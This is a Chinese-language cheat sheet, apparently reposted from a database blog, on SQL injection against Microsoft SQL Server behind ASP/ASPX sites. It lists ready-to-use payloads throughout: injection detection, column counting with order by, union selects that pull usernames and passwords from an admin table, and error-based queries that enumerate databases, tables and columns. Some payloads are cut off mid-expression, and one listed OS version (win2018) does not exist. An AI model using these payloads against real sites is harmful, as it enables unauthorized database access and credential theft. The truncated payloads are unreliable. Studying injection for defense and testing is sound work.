sqlserver 经常与 asp aspx一起使用
操作系统大多是 win2012 win2018
数据库版本 sql2008 sql2012
sqlserver 三个权限级别
-
sa权限:数据库操作,文件管理,命令执行,注册表读取等,高权限
-
db权限:文件管理,数据库操作等
-
public权限:数据库操作等
注释符
--空格 单行注释
/**/ 多行注释
判断注入
' 单引号 是否报错
and 1=1 and 1=2 页面是否相同
判断列数
order by
联合注入
sqlserver对数据类型比较严谨
union select 1,2,3
表明,数据类型不全是int型,逐步调试
一般来说列都是id,对应的就是int型union select 1,'2',3union select 1,'2','3'
也可以通过 null 来查看
查询系统信息
db_name() 数据库名@@version 版本信息User_name() 当前用户host_name() 计算机名称
查询数据
union select 1,username,password from admin
如果字段或者表名不存在,则会报错
报错注入
查询系统信息
and @@version>and user_name()>and db_name()>......
@@version是字符串,0是整数型;利用mssql在转换类型的时候出错,会提示信息
爆库
and (select top 1 name from master..sysdatabases)>查询所有数据库名中的个
查询所有数据库名,除了masterand (select top 1 name from master..sysdatabases where name not in ('master'))>查询所有数据库名,除了master,iNethinkCMSand (select top 1 name from master..sysdatabases where name not in ('master','iNethinkCMS'))>
爆表
查询指定库中的表名的个and (select top 1 name from master.sys.all_objects where type='u' and is_ms_shipped=0)>and (select top 1 name from MYDB.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('cmd','test_tmp'))>
爆列
查询指定库指定表中的列名and (select top 1 column_name from mydb.information_schema.columns where table_name='admin')>
爆数据
爆用户名and (select top 1 username from admin)>如果再也没有可爆的用户名,页面会显示正常and (select top 1 username from admin where username not in ('admin'))>
本文来源https://www.modb.pro/db/75531